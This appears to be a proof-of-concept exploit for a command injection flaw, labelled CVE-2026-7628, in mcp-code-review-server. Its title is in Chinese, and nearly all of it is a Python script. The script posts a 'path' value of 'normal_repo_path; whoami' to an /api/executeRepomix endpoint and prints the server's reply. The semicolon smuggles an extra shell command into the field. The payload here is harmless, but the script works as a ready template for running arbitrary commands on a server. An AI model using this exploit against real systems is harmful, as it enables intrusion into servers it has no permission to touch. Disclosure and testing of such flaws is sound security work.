CVE-2026-7628 mcp-code-review-server命令注入漏洞

import requests # Target URL (Hypothetical endpoint for the vulnerable component) target_url = "http://localhost:3000/api/executeRepomix" # Attacker-controlled input attempting command injection # Using semicolon to chain commands evil_payload = "normal_repo_path; whoami" # Data payload to be sent to the server payload_data = { "path": evil_payload } try: # Sending the malicious request response = requests.post(target_url, json=payload_data) # Printing server response which may contain command output print("Status Code:", response.status_code) print("Response Body:", response.text) except Exception as e: print(f"An error occurred: {e}")